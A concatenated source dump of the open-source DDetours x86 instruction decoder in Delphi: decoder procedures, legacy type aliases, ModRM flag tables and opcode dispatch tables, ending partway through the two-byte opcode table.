Decode_NA_JMP_Jz_Df64(PInst: PInstruction); begin SetOpCode(PInst); PInst^.OpType := otJMP; PInst^.OperandFlags := opdDf64; Decode_J(PInst, PInst^.LID.zOpSize); end; procedure Decode_NA_JMP_Ap_I64(PInst: PInstruction); begin if PInst^.Archi = CPUX64 then begin Decode_InvalidOpCode(PInst); Exit; end; PInst^.OpType := otJMP; Decode_Ap(PInst); end; procedure Decode_NA_JMP_Jb_Df64(PInst: PInstruction); begin SetOpCode(PInst); PInst^.OpType := otJMP; PInst^.OperandFlags := opdDf64; Decode_J(PInst, ops8bits); end; procedure Decode_CALL_ModRm(PInst: PInstruction); begin PInst^.OpType := otCALL; Decode_Branch_ModRm(PInst); end; procedure Decode_CALL_Mp(PInst: PInstruction); begin PInst^.OpType := otCALL; Decode_Mp(PInst); end; procedure Decode_JMP_ModRm(PInst: PInstruction); begin PInst^.OpType := otJMP; Decode_Branch_ModRm(PInst); end; procedure Decode_JMP_Mp(PInst: PInstruction); begin PInst^.OpType := otJMP; Decode_Mp(PInst); end; procedure Decode_NA_CALL(PInst: PInstruction); begin { SYSCALL! } SetOpCode(PInst); end; procedure Decode_NA_66_F2_F3_ModRm(PInst: PInstruction); begin SetOpCode(PInst); Decode_ModRm(PInst); end; procedure Decode_NA_66_ModRm(PInst: PInstruction); begin { Only valid when mandatory prefix is : $00 or $66 } if ((PInst^.OpTable <> tbOneByte) and not(PInst^.LID.MndPrf in [$00, $66])) then begin Decode_InvalidOpCode(PInst); Exit; end; SetOpCode(PInst); Decode_ModRm(PInst); end; procedure Decode_NA_66_F3_ModRm(PInst: PInstruction); begin { Only valid when mandatory prefix is : $00 or $66 or $F3 } if ((PInst^.OpTable <> tbOneByte) and (PInst^.LID.MndPrf = $F2)) then begin Decode_InvalidOpCode(PInst); Exit; end; SetOpCode(PInst); Decode_ModRm(PInst); end; procedure Decode_NA_F3_ModRm(PInst: PInstruction); begin { Only valid when mandatory prefix is : $00 or $F3 } if ((PInst^.OpTable <> tbOneByte) and not(PInst^.LID.MndPrf in [$00, $F3])) then begin Decode_InvalidOpCode(PInst); Exit; end; SetOpCode(PInst); Decode_ModRm(PInst); end; procedure Decode_66_ModRm(PInst: PInstruction); begin { Only valid when mandatory prefix is : $66 } if ((PInst^.OpTable <> tbOneByte) and not(PInst^.LID.MndPrf = $66)) then begin Decode_InvalidOpCode(PInst); Exit; end; SetOpCode(PInst); Decode_ModRm(PInst); end; procedure Decode_NA_66_F2_F3_ModRm_Ib(PInst: PInstruction); begin SetOpCode(PInst); Decode_ModRm(PInst); Decode_Imm(PInst, ops8bits); end; procedure Decode_66_F2_ModRm(PInst: PInstruction); begin { Only valid when mandatory prefix is : $66 or $F2 } if ((PInst^.OpTable <> tbOneByte) and not(PInst^.LID.MndPrf in [$66, $F2])) then begin Decode_InvalidOpCode(PInst); Exit; end; SetOpCode(PInst); Decode_ModRm(PInst); end; procedure Decode_F3_ModRm(PInst: PInstruction); begin { Only valid when mandatory prefix is : $F3 } if ((PInst^.OpTable <> tbOneByte) and not(PInst^.LID.MndPrf = $F3)) then begin Decode_InvalidOpCode(PInst); Exit; end; SetOpCode(PInst); Decode_ModRm(PInst); end; procedure Decode_NA_66_ModRm_Ib(PInst: PInstruction); begin { Only valid when mandatory prefix is : $00 or $66 } if ((PInst^.OpTable <> tbOneByte) and not(PInst^.LID.MndPrf in [$00, $66])) then begin Decode_InvalidOpCode(PInst); Exit; end; SetOpCode(PInst); Decode_ModRm(PInst); Decode_Imm(PInst, ops8bits); end; procedure Decode_66_F2_F3_ModRm(PInst: PInstruction); begin { Only valid when mandatory prefix is : $66 or $F2 or $F3 } if ((PInst^.OpTable <> tbOneByte) and (PInst^.LID.MndPrf = $00)) then begin Decode_InvalidOpCode(PInst); Exit; end; SetOpCode(PInst); Decode_ModRm(PInst); end; procedure Decode_F2_ModRm(PInst: PInstruction); begin { Only valid when mandatory prefix is : $F2 } if ((PInst^.OpTable <> tbOneByte) and not(PInst^.LID.MndPrf = $F2)) then begin Decode_InvalidOpCode(PInst); Exit; end; SetOpCode(PInst); Decode_ModRm(PInst); end; procedure Decode_SP_T38_F0_F7(PInst: PInstruction); var Prf66F2: Boolean; begin if PInst^.NextInst^ = $F3 then begin Decode_Group_17(PInst); Exit; end; { 66 & F2 } Prf66F2 := PInst^.Prefixes and (Prf_OpSize or Prf_Repne) = (Prf_OpSize or Prf_Repne); if Prf66F2 then begin { Valid only for CRC32 instruction ! } if (PInst^.NextInst^ = $F0) or (PInst^.NextInst^ = $F1) then begin Decode_NA_ModRm(PInst); Exit; end else begin Decode_InvalidOpCode(PInst); Exit; end; end else if PInst^.LID.MndPrf = $00 then begin if (PInst^.NextInst^ = $F4) or (PInst^.NextInst^ = $F6) then begin Decode_InvalidOpCode(PInst); Exit; end; end else if PInst^.LID.MndPrf = $66 then begin if (PInst^.NextInst^ in [$F2 .. $F5]) then begin Decode_InvalidOpCode(PInst); Exit; end; end else if PInst^.LID.MndPrf = $F3 then begin if (PInst^.NextInst^ < $F5) then begin Decode_InvalidOpCode(PInst); Exit; end; end else if PInst^.LID.MndPrf = $F2 then begin if (PInst^.NextInst^ in [$F2 .. $F4]) then begin Decode_InvalidOpCode(PInst); Exit; end; end; Decode_NA_ModRm(PInst); end; procedure Decode_66_ModRm_Ib(PInst: PInstruction); begin { Only valid when mandatory prefix is : $66 } if ((PInst^.OpTable <> tbOneByte) and not(PInst^.LID.MndPrf = $66)) then begin Decode_InvalidOpCode(PInst); Exit; end; SetOpCode(PInst); Decode_ModRm(PInst); Decode_Imm(PInst, ops8bits); end; procedure Decode_F2_ModRm_Ib(PInst: PInstruction); begin { Only valid when mandatory prefix is : $F2 } if ((PInst^.OpTable <> tbOneByte) and not(PInst^.LID.MndPrf = $F2)) then begin Decode_InvalidOpCode(PInst); Exit; end; SetOpCode(PInst); Decode_ModRm(PInst); Decode_Imm(PInst, ops8bits); end; procedure Decode_NA_RET_Iw_Df64(PInst: PInstruction); begin PInst^.OpType := otRET; SetOpCode(PInst); PInst^.OperandFlags := opdDf64; Decode_Imm(PInst, ops16bits); end; procedure Decode_NA_D64(PInst: PInstruction); begin { Only valid when mandatory prefix is : $00 } if ((PInst^.OpTable <> tbOneByte) and (PInst^.LID.MndPrf <> $00)) then begin Decode_InvalidOpCode(PInst); Exit; end; SetOpCode(PInst); PInst^.OperandFlags := opdD64; end; procedure Decode_NA_Iz_D64(PInst: PInstruction); begin { Only valid when mandatory prefix is : $00 } if ((PInst^.OpTable <> tbOneByte) and (PInst^.LID.MndPrf <> $00)) then begin Decode_InvalidOpCode(PInst); Exit; end; SetOpCode(PInst); PInst^.OperandFlags := opdD64; Decode_Imm(PInst, PInst^.LID.zOpSize); end; procedure Decode_NA_Ib_D64(PInst: PInstruction); begin { Only valid when mandatory prefix is : $00 } if ((PInst^.OpTable <> tbOneByte) and (PInst^.LID.MndPrf <> $00)) then begin Decode_InvalidOpCode(PInst); Exit; end; SetOpCode(PInst); PInst^.OperandFlags := opdD64; Decode_Imm(PInst, ops8bits); end; procedure Decode_NA_RET_Df64(PInst: PInstruction); begin PInst^.OpType := otRET; PInst^.OperandFlags := opdDf64; SetOpCode(PInst); end; procedure Decode_NA_RET_Iw(PInst: PInstruction); begin PInst^.OpType := otRET; SetOpCode(PInst); Decode_Imm(PInst, ops16bits); end; procedure Decode_NA_Iw_Ib_D64(PInst: PInstruction); begin { Only valid when mandatory prefix is : $00 } if ((PInst^.OpTable <> tbOneByte) and (PInst^.LID.MndPrf <> $00)) then begin Decode_InvalidOpCode(PInst); Exit; end; SetOpCode(PInst); PInst^.OperandFlags := opdD64; Decode_Imm(PInst, ops16bits); Decode_Imm(PInst, ops8bits); end; procedure Decode_NA_ModRm_F64(PInst: PInstruction); begin { Only valid when mandatory prefix is : $00 } if ((PInst^.OpTable <> tbOneByte) and (PInst^.LID.MndPrf <> $00)) then begin Decode_InvalidOpCode(PInst); Exit; end; SetOpCode(PInst); PInst^.OperandFlags := opdF64; Decode_ModRm(PInst); end; procedure Decode_NA_Jz_Df64(PInst: PInstruction); begin { Only valid when mandatory prefix is : $00 } if ((PInst^.OpTable <> tbOneByte) and (PInst^.LID.MndPrf <> $00)) then begin Decode_InvalidOpCode(PInst); Exit; end; SetOpCode(PInst); PInst^.OperandFlags := opdDf64; Decode_J(PInst, PInst^.LID.zOpSize); end; procedure Decode_NA_OfstV(PInst: PInstruction); begin SetOpCode(PInst); Decode_Imm(PInst, PInst.LID.vOpSize); PInst.Disp.Value := PInst.Imm.Value; PInst.Disp.Size := PInst.Imm.Size; PInst.Disp.Flags := dfUsed or dfOffset; PInst.Imm.Size := $00; PInst.Imm.Value := $00; PInst.Imm.Flags := $00; end; procedure Decode_NA_Iv(PInst: PInstruction); begin { Only valid when mandatory prefix is : $00 } if ((PInst^.OpTable <> tbOneByte) and not(PInst^.LID.MndPrf = $00)) then begin Decode_InvalidOpCode(PInst); Exit; end; SetOpCode(PInst); Decode_Imm(PInst, PInst^.LID.vOpSize); end; { .$ENDREGION } function DecodeInst(PInst: PInstruction): Integer; var P: PByte; LArchi: Byte; LAddr: PByte; LErrors: Byte; LVA: PByte; LOptions: Byte; begin { No Errors } SetInstError(PInst, NO_ERROR); if not(PInst^.Archi in [CPUX32, CPUX64]) then SetInstError(PInst, INVALID_CPUX); if not Assigned(PInst^.Addr) then SetInstError(PInst, INVALID_ADDRESS); { Init Instruction Structure } LArchi := PInst^.Archi; LAddr := PInst^.Addr; LVA := PInst^.VirtualAddr; LErrors := PInst^.Errors; LOptions := PInst^.Options; FillChar(PInst^, SizeOf(TInstruction), #0); PInst^.Archi := LArchi; PInst^.Addr := LAddr; PInst^.Errors := LErrors; PInst^.VirtualAddr := LVA; PInst.Options := LOptions; P := PInst^.Addr; PInst^.NextInst := P; PInst^.LID.zOpSize := ops32bits; PInst^.LID.vOpSize := ops32bits; PInst^.AddrMode := DefAddressMode[PInst^.Archi]; { Default Op Table is One Byte ! } PInst^.OpTable := tbOneByte; DecoderProcTable[OneByteTable[P^]](PInst); Result := Integer(NativeInt(PInst^.NextInst) - NativeInt(P)); PInst^.InstSize := Result; if Result > CPUX_TO_INST_LENGTH[PInst^.Archi] then SetInstError(PInst, INVALID_INSTRUCTION_LENGTH); end; end. ================================================ FILE: Detour Hooking/Source/LegacyTypes.pas ================================================ // ************************************************************************************************** // // https://github.com/MahdiSafsafi/DDetours // // ************************************************************************************************** unit LegacyTypes; interface {$I DDetoursDefs.inc} type {$IFNDEF FPC} {$IFNDEF DELPHI_XE_UP} NativeInt = Integer; NativeUInt = Cardinal; PNativeInt = ^NativeInt; PNativeUInt = ^NativeUInt; {$IFDEF MSWINDOWS} TThreadID = LongWord; {$ENDIF MSWINDOWS} {$ENDIF DELPHI_XE_UP} {$ENDIF FPC} Int8 = Shortint; Int16 = Smallint; Int32 = Integer; UInt8 = Byte; UInt16 = Word; UInt32 = Cardinal; PInt8 = ^Int8; PInt16 = ^Int16; PInt32 = ^Int32; PInt64 = ^Int64; PUInt8 = ^UInt8; PUInt16 = ^UInt16; PUInt32 = ^UInt32; PUInt64 = ^UInt64; SIZE_T = NativeUInt; implementation end. ================================================ FILE: Detour Hooking/Source/ModRmFlagsTables.inc ================================================ // ************************************************************************************************** // Part of x86 Instruction Decode Library [InstDecode] // // https://github.com/MahdiSafsafi/DDetours // // This Source Code Form is subject to the terms of the Mozilla // Public License, v. 2.0. If a copy of the MPL was not distributed // with this file, You can obtain one at // https://mozilla.org/MPL/2.0/. // ************************************************************************************************** { Reference : Intel® 64 and IA-32 Architectures Software Developer’s Manual Vol 2 } type TModRmFlagsArray = array [Byte] of Byte; PModRmFlagsArray = ^TModRmFlagsArray; { ModRMFlags : Bits:4 3 2 1 0 . Bit 0 : Set ==> Register Indirect Addressing Mode . Bit 1 : Set ==> Displacement 8 bit . Bit 2 : Set ==> Displacement 16 bit . Bit 3 : Set ==> Displacement 32 bit. Bit 4 : Set ==> SIB Used . Values: $00 ==> Register . $01 ==> Register Indirect Addressing Mode with No Displacement . $03 ==> Register Indirect Addressing Mode + 8 bit Displacement . $04 ==> 16 bit Displacement only without register . $05 ==> Register Indirect Addressing Mode + 16 bit Displacement . $08 ==> 32 bit Displacement only without register . $09 ==> Register Indirect Addressing Mode + 32 bit Displacement . $11 ==> Register Indirect Addressing Mode + SIB . $13 ==> Register Indirect Addressing Mode + SIB + 8 bit Displacement . $19 ==> Register Indirect Addressing Mode + SIB + 32 bit Displacement . } const ModRM16Flags: TModRmFlagsArray = ( { => Mod=00b <= } $01, $01, $01, $01, $01, $01, $04, $01, { 00 } $01, $01, $01, $01, $01, $01, $04, $01, { 00 } $01, $01, $01, $01, $01, $01, $04, $01, { 00 } $01, $01, $01, $01, $01, $01, $04, $01, { 00 } $01, $01, $01, $01, $01, $01, $04, $01, { 00 } $01, $01, $01, $01, $01, $01, $04, $01, { 00 } $01, $01, $01, $01, $01, $01, $04, $01, { 00 } $01, $01, $01, $01, $01, $01, $04, $01, { 00 } { => Mod=01b <= } $03, $03, $03, $03, $03, $03, $03, $03, { 01 } $03, $03, $03, $03, $03, $03, $03, $03, { 01 } $03, $03, $03, $03, $03, $03, $03, $03, { 01 } $03, $03, $03, $03, $03, $03, $03, $03, { 01 } $03, $03, $03, $03, $03, $03, $03, $03, { 01 } $03, $03, $03, $03, $03, $03, $03, $03, { 01 } $03, $03, $03, $03, $03, $03, $03, $03, { 01 } $03, $03, $03, $03, $03, $03, $03, $03, { 01 } { => Mod=10b <= } $05, $05, $05, $05, $05, $05, $05, $05, { 10 } $05, $05, $05, $05, $05, $05, $05, $05, { 10 } $05, $05, $05, $05, $05, $05, $05, $05, { 10 } $05, $05, $05, $05, $05, $05, $05, $05, { 10 } $05, $05, $05, $05, $05, $05, $05, $05, { 10 } $05, $05, $05, $05, $05, $05, $05, $05, { 10 } $05, $05, $05, $05, $05, $05, $05, $05, { 10 } $05, $05, $05, $05, $05, $05, $05, $05, { 10 } { => Mod=11b <= } $00, $00, $00, $00, $00, $00, $00, $00, { 11 } $00, $00, $00, $00, $00, $00, $00, $00, { 11 } $00, $00, $00, $00, $00, $00, $00, $00, { 11 } $00, $00, $00, $00, $00, $00, $00, $00, { 11 } $00, $00, $00, $00, $00, $00, $00, $00, { 11 } $00, $00, $00, $00, $00, $00, $00, $00, { 11 } $00, $00, $00, $00, $00, $00, $00, $00, { 11 } $00, $00, $00, $00, $00, $00, $00, $00 { 11 } ); ModRM32Flags: TModRmFlagsArray = ( { => Mod=00b <= } $01, $01, $01, $01, $11, $08, $01, $01, { 00 } $01, $01, $01, $01, $11, $08, $01, $01, { 00 } $01, $01, $01, $01, $11, $08, $01, $01, { 00 } $01, $01, $01, $01, $11, $08, $01, $01, { 00 } $01, $01, $01, $01, $11, $08, $01, $01, { 00 } $01, $01, $01, $01, $11, $08, $01, $01, { 00 } $01, $01, $01, $01, $11, $08, $01, $01, { 00 } $01, $01, $01, $01, $11, $08, $01, $01, { 00 } { => Mod=01b <= } $03, $03, $03, $03, $13, $03, $03, $03, { 01 } $03, $03, $03, $03, $13, $03, $03, $03, { 01 } $03, $03, $03, $03, $13, $03, $03, $03, { 01 } $03, $03, $03, $03, $13, $03, $03, $03, { 01 } $03, $03, $03, $03, $13, $03, $03, $03, { 01 } $03, $03, $03, $03, $13, $03, $03, $03, { 01 } $03, $03, $03, $03, $13, $03, $03, $03, { 01 } $03, $03, $03, $03, $13, $03, $03, $03, { 01 } { => Mod=10b <= } $09, $09, $09, $09, $19, $09, $09, $09, { 10 } $09, $09, $09, $09, $19, $09, $09, $09, { 10 } $09, $09, $09, $09, $19, $09, $09, $09, { 10 } $09, $09, $09, $09, $19, $09, $09, $09, { 10 } $09, $09, $09, $09, $19, $09, $09, $09, { 10 } $09, $09, $09, $09, $19, $09, $09, $09, { 10 } $09, $09, $09, $09, $19, $09, $09, $09, { 10 } $09, $09, $09, $09, $19, $09, $09, $09, { 10 } { => Mod=11b <= } $00, $00, $00, $00, $00, $00, $00, $00, { 11 } $00, $00, $00, $00, $00, $00, $00, $00, { 11 } $00, $00, $00, $00, $00, $00, $00, $00, { 11 } $00, $00, $00, $00, $00, $00, $00, $00, { 11 } $00, $00, $00, $00, $00, $00, $00, $00, { 11 } $00, $00, $00, $00, $00, $00, $00, $00, { 11 } $00, $00, $00, $00, $00, $00, $00, $00, { 11 } $00, $00, $00, $00, $00, $00, $00, $00 { 11 } ); ModRmFlags: array [0 .. 3] of PModRmFlagsArray = ( // nil, @ModRM16Flags, { AddrMode 16-bits } @ModRM32Flags, { AddrMode 32-bits } @ModRM32Flags { AddrMode 64-bits } ); ================================================ FILE: Detour Hooking/Source/OpCodesTables.inc ================================================ // ************************************************************************************************** // Part of x86 Instruction Decode Library [InstDecode] // // https://github.com/MahdiSafsafi/DDetours // // This Source Code Form is subject to the terms of the Mozilla // Public License, v. 2.0. If a copy of the MPL was not distributed // with this file, You can obtain one at // https://mozilla.org/MPL/2.0/. // ************************************************************************************************** { Reference : -sandpile.org -Intel® 64 and IA-32 Architectures Software Developer’s Manual Vol 2 } { ============================================ Index -> DecoderProc ============================================ } { 00 = Decode_InvalidOpCode} { 01 = Decode_NA_ModRm} { 02 = Decode_NA_Ib} { 03 = Decode_NA_Iz} { 04 = Decode_NA_I64} { 05 = Decode_Escape_2_Byte} { 06 = Decode_ES_Prefix} { 07 = Decode_CS_Prefix} { 08 = Decode_SS_Prefix} { 09 = Decode_DS_Prefix} { 10 = Decode_REX_Prefix} { 11 = Decode_NA_D64} { 12 = Decode_NA_ModRm_I64} { 13 = Decode_FS_Prefix} { 14 = Decode_GS_Prefix} { 15 = Decode_OPSIZE_Prefix} { 16 = Decode_ADSIZE_Prefix} { 17 = Decode_NA_Iz_D64} { 18 = Decode_NA_ModRm_Iz} { 19 = Decode_NA_Ib_D64} { 20 = Decode_NA_ModRm_Ib} { 21 = Decode_NA} { 22 = Decode_NA_Jb_Df64} { 23 = Decode_Group_1} { 24 = Decode_Group_1A} { 25 = Decode_NA_CALL_Ap_I64} { 26 = Decode_NA_OfstV} { 27 = Decode_NA_Iv} { 28 = Decode_Group_2} { 29 = Decode_NA_RET_Iw_Df64} { 30 = Decode_NA_RET_Df64} { 31 = Decode_VEX3_Prefix} { 32 = Decode_VEX2_Prefix} { 33 = Decode_Group_11} { 34 = Decode_NA_Iw_Ib_D64} { 35 = Decode_NA_RET_Iw} { 36 = Decode_NA_RET} { 37 = Decode_NA_Ib_I64} { 38 = Decode_Escape_FPU_D8} { 39 = Decode_Escape_FPU_D9} { 40 = Decode_Escape_FPU_DA} { 41 = Decode_Escape_FPU_DB} { 42 = Decode_Escape_FPU_DC} { 43 = Decode_Escape_FPU_DD} { 44 = Decode_Escape_FPU_DE} { 45 = Decode_Escape_FPU_DF} { 46 = Decode_NA_CALL_Jz_Df64} { 47 = Decode_NA_JMP_Jz_Df64} { 48 = Decode_NA_JMP_Ap_I64} { 49 = Decode_NA_JMP_Jb_Df64} { 50 = Decode_LOCK_Prefix} { 51 = Decode_REPNE_Prefix} { 52 = Decode_REPE_Prefix} { 53 = Decode_Group_3} { 54 = Decode_Group_4_INC_DEC} { 55 = Decode_Group_5_INC_DEC} { 56 = Decode_Group_6} { 57 = Decode_Group_7} { 58 = Decode_NA_CALL} { 59 = Decode_NA_66_F2_F3_ModRm} { 60 = Decode_NA_66_ModRm} { 61 = Decode_NA_66_F3_ModRm} { 62 = Decode_Group_16} { 63 = Decode_NA_ModRm_F64} { 64 = Decode_Escape_3_Byte} { 65 = Decode_NA_F3_ModRm} { 66 = Decode_66_ModRm} { 67 = Decode_NA_66_F2_F3_ModRm_Ib} { 68 = Decode_Group_12} { 69 = Decode_Group_13} { 70 = Decode_Group_14} { 71 = Decode_66_F2_ModRm} { 72 = Decode_NA_Jz_Df64} { 73 = Decode_Group_15} { 74 = Decode_F3_ModRm} { 75 = Decode_Group_10_UD2} { 76 = Decode_Group_8} { 77 = Decode_NA_66_ModRm_Ib} { 78 = Decode_Group_9} { 79 = Decode_66_F2_F3_ModRm} { 80 = Decode_F2_ModRm} { 81 = Decode_SP_T38_F0_F7} { 82 = Decode_66_ModRm_Ib} { 83 = Decode_F2_ModRm_Ib} {============================================ OneByteTable ============================================} const OneByteTable : array[Byte] of Byte =(// {0x00} 01, {ADD} {0x01} 01, {ADD} {0x02} 01, {ADD} {0x03} 01, {ADD} {0x04} 02, {ADD} {0x05} 03, {ADD} {0x06} 04, {PUSH} {0x07} 04, {POP} {0x08} 01, {OR} {0x09} 01, {OR} {0x0A} 01, {OR} {0x0B} 01, {OR} {0x0C} 02, {OR} {0x0D} 03, {OR} {0x0E} 04, {PUSH} {0x0F} 05, {Escape_2_Byte} {0x10} 01, {ADC} {0x11} 01, {ADC} {0x12} 01, {ADC} {0x13} 01, {ADC} {0x14} 02, {ADC} {0x15} 03, {ADC} {0x16} 04, {PUSH} {0x17} 04, {POP} {0x18} 01, {SBB} {0x19} 01, {SBB} {0x1A} 01, {SBB} {0x1B} 01, {SBB} {0x1C} 02, {SBB} {0x1D} 03, {SBB} {0x1E} 04, {PUSH} {0x1F} 04, {POP} {0x20} 01, {AND} {0x21} 01, {AND} {0x22} 01, {AND} {0x23} 01, {AND} {0x24} 02, {AND} {0x25} 03, {AND} {0x26} 06, {ES_Prefix} {0x27} 04, {DAA} {0x28} 01, {SUB} {0x29} 01, {SUB} {0x2A} 01, {SUB} {0x2B} 01, {SUB} {0x2C} 02, {SUB} {0x2D} 03, {SUB} {0x2E} 07, {CS_Prefix} {0x2F} 04, {DAS} {0x30} 01, {XOR} {0x31} 01, {XOR} {0x32} 01, {XOR} {0x33} 01, {XOR} {0x34} 02, {XOR} {0x35} 03, {XOR} {0x36} 08, {SS_Prefix} {0x37} 04, {AAA} {0x38} 01, {CMP} {0x39} 01, {CMP} {0x3A} 01, {CMP} {0x3B} 01, {CMP} {0x3C} 02, {CMP} {0x3D} 03, {CMP} {0x3E} 09, {DS_Prefix} {0x3F} 04, {AAS} {0x40} 10, {INC/REX_Prefix} {0x41} 10, {INC/REX_Prefix} {0x42} 10, {INC/REX_Prefix} {0x43} 10, {INC/REX_Prefix} {0x44} 10, {INC/REX_Prefix} {0x45} 10, {INC/REX_Prefix} {0x46} 10, {INC/REX_Prefix} {0x47} 10, {INC/REX_Prefix} {0x48} 10, {DEC/REX_Prefix} {0x49} 10, {DEC/REX_Prefix} {0x4A} 10, {DEC/REX_Prefix} {0x4B} 10, {DEC/REX_Prefix} {0x4C} 10, {DEC/REX_Prefix} {0x4D} 10, {DEC/REX_Prefix} {0x4E} 10, {DEC/REX_Prefix} {0x4F} 10, {DEC/REX_Prefix} {0x50} 11, {PUSH} {0x51} 11, {PUSH} {0x52} 11, {PUSH} {0x53} 11, {PUSH} {0x54} 11, {PUSH} {0x55} 11, {PUSH} {0x56} 11, {PUSH} {0x57} 11, {PUSH} {0x58} 11, {POP} {0x59} 11, {POP} {0x5A} 11, {POP} {0x5B} 11, {POP} {0x5C} 11, {POP} {0x5D} 11, {POP} {0x5E} 11, {POP} {0x5F} 11, {POP} {0x60} 04, {PUSHAD/PUSHA} {0x61} 04, {POPAD/POPA} {0x62} 12, {BOUND} {0x63} 01, {ARPL/MOVSXD} {0x64} 13, {FS_Prefix} {0x65} 14, {GS_Prefix} {0x66} 15, {OPSIZE_Prefix} {0x67} 16, {ADSIZE_Prefix} {0x68} 17, {PUSH} {0x69} 18, {IMUL} {0x6A} 19, {PUSH} {0x6B} 20, {IMUL} {0x6C} 21, {INS} {0x6D} 21, {INS} {0x6E} 21, {OUTS} {0x6F} 21, {OUTS} {0x70} 22, {JO} {0x71} 22, {JNO} {0x72} 22, {JB} {0x73} 22, {JNB} {0x74} 22, {JZ} {0x75} 22, {JNZ} {0x76} 22, {JBE} {0x77} 22, {JNBE} {0x78} 22, {JS} {0x79} 22, {JNS} {0x7A} 22, {JP} {0x7B} 22, {JNP} {0x7C} 22, {JL} {0x7D} 22, {JNL} {0x7E} 22, {JLE} {0x7F} 22, {JNLE} {0x80} 23, {group_1} {0x81} 23, {group_1} {0x82} 23, {group_1*} {0x83} 23, {group_1} {0x84} 01, {TEST} {0x85} 01, {TEST} {0x86} 01, {XCHG} {0x87} 01, {XCHG} {0x88} 01, {MOV} {0x89} 01, {MOV} {0x8A} 01, {MOV} {0x8B} 01, {MOV} {0x8C} 01, {MOV} {0x8D} 01, {LEA} {0x8E} 01, {MOV} {0x8F} 24, {group_1A} {0x90} 21, {PAUSE/NOP} {0x91} 21, {XCHG} {0x92} 21, {XCHG} {0x93} 21, {XCHG} {0x94} 21, {XCHG} {0x95} 21, {XCHG} {0x96} 21, {XCHG} {0x97} 21, {XCHG} {0x98} 21, {CWDE/CBW/CDQE} {0x99} 21, {CDQ/CWD/CQO} {0x9A} 25, {CALL} {0x9B} 21, {WAIT} {0x9C} 11, {PUSHF} {0x9D} 11, {POPF} {0x9E} 21, {SAHF} {0x9F} 21, {LAHF} {0xA0} 26, {MOV} {0xA1} 26, {MOV} {0xA2} 26, {MOV} {0xA3} 26, {MOV} {0xA4} 21, {MOVS} {0xA5} 21, {MOVS} {0xA6} 21, {CMPS} {0xA7} 21, {CMPS} {0xA8} 02, {TEST} {0xA9} 03, {TEST} {0xAA} 21, {STOS} {0xAB} 21, {STOS} {0xAC} 21, {LODS} {0xAD} 21, {LODS} {0xAE} 21, {SCAS} {0xAF} 21, {SCAS} {0xB0} 02, {MOV} {0xB1} 02, {MOV} {0xB2} 02, {MOV} {0xB3} 02, {MOV} {0xB4} 02, {MOV} {0xB5} 02, {MOV} {0xB6} 02, {MOV} {0xB7} 02, {MOV} {0xB8} 27, {MOV} {0xB9} 27, {MOV} {0xBA} 27, {MOV} {0xBB} 27, {MOV} {0xBC} 27, {MOV} {0xBD} 27, {MOV} {0xBE} 27, {MOV} {0xBF} 27, {MOV} {0xC0} 28, {group_2} {0xC1} 28, {group_2} {0xC2} 29, {RET} {0xC3} 30, {RET} {0xC4} 31, {LES/VEX3_Prefix} {0xC5} 32, {LDS/VEX2_Prefix} {0xC6} 33, {group_11} {0xC7} 33, {group_11} {0xC8} 34, {ENTER} {0xC9} 11, {LEAVE} {0xCA} 35, {RET} {0xCB} 36, {RET} {0xCC} 21, {INT3} {0xCD} 02, {INT} {0xCE} 04, {INTO} {0xCF} 36, {IRET} {0xD0} 28, {group_2} {0xD1} 28, {group_2} {0xD2} 28, {group_2} {0xD3} 28, {group_2} {0xD4} 37, {AAM} {0xD5} 37, {AAD} {0xD6} 04, {SETALC} {0xD7} 21, {XLAT} {0xD8} 38, {Escape_FPU_D8} {0xD9} 39, {Escape_FPU_D9} {0xDA} 40, {Escape_FPU_DA} {0xDB} 41, {Escape_FPU_DB} {0xDC} 42, {Escape_FPU_DC} {0xDD} 43, {Escape_FPU_DD} {0xDE} 44, {Escape_FPU_DE} {0xDF} 45, {Escape_FPU_DF} {0xE0} 22, {LOOPNZ/LOOPNE} {0xE1} 22, {LOOPZ/LOOPE} {0xE2} 22, {LOOP} {0xE3} 22, {JRCX/JECX/JCXZ} {0xE4} 02, {IN} {0xE5} 02, {IN} {0xE6} 02, {OUT} {0xE7} 02, {OUT} {0xE8} 46, {CALL} {0xE9} 47, {JMP} {0xEA} 48, {JMP} {0xEB} 49, {JMP} {0xEC} 21, {IN} {0xED} 21, {IN} {0xEE} 21, {OUT} {0xEF} 21, {OUT} {0xF0} 50, {LOCK_Prefix} {0xF1} 21, {INT1} {0xF2} 51, {REPNE_Prefix} {0xF3} 52, {REPE_Prefix} {0xF4} 21, {HLT} {0xF5} 21, {CMC} {0xF6} 53, {group_3} {0xF7} 53, {group_3} {0xF8} 21, {CLC} {0xF9} 21, {STC} {0xFA} 21, {CLI} {0xFB} 21, {STI} {0xFC} 21, {CLD} {0xFD} 21, {STD} {0xFE} 54, {group_4_INC_DEC} {0xFF} 55 {group_5_INC_DEC} ); {============================================ TwoByteTable ============================================} const TwoByteTable : array[Byte] of Byte =(// {0x00} 56, {group_6} {0x01} 57, {group_7} {0x02} 01, {LAR} {0x03} 01, {LSL} {0x04} 21, {LOADALL?/RESET?/HANG?} {0x05} 58, {LOADALL/SYSCALL} {0x06} 21, {CLTS} {0x07} 36, {LOADALL/SYSRET} {0x08} 21, {INVD} {0x09} 21, {WBINVD} {0x0A} 21, {CL1INVMB} {0x0B} 21, {UD1} {0x0C} 00, {InvalidOpCode} {0x0D} 21, {3DNow} {0x0E} 21, {3DNow} {0x0F} 21, {3DNow} {0x10} 59, {VMOVUPD/VMOVSD/VMOVSS/VMOVUPS} {0x11} 59, {VMOVUPD/VMOVSD/VMOVSS/VMOVUPS} {0x12} 59, {VMOVLPD/VMOVDDUP/VMOVSLDUP/VMOVLPS/VMOVHLPS} {0x13} 60, {InvalidOpCode/VMOVLPD/VMOVLPS} {0x14} 60, {InvalidOpCode/VUNPCKLPD/VUNPCKLPS} {0x15} 60, {InvalidOpCode/VUNPCKHPD/VUNPCKHPS} {0x16} 61, {InvalidOpCode/VMOVHPD/VMOVSHDUP/VMOVLHPS/VMOVHPS} {0x17} 60, {InvalidOpCode/VMOVHPD/VMOVHPS} {0x18} 62, {group_16} {0x19} 62, {group_16} {0x1A} 62, {group_16} {0x1B} 62, {group_16} {0x1C} 62, {group_16} {0x1D} 62, {group_16} {0x1E} 62, {group_16} {0x1F} 62, {group_16} {0x20} 63, {MOV} {0x21} 63, {MOV} {0x22} 63, {MOV} {0x23} 63, {MOV} {0x24} 63, {MOV} {0x25} 00, {InvalidOpCode} {0x26} 63, {MOV} {0x27} 00, {InvalidOpCode} {0x28} 60, {InvalidOpCode/VMOVAPD/VMOVAPS} {0x29} 60, 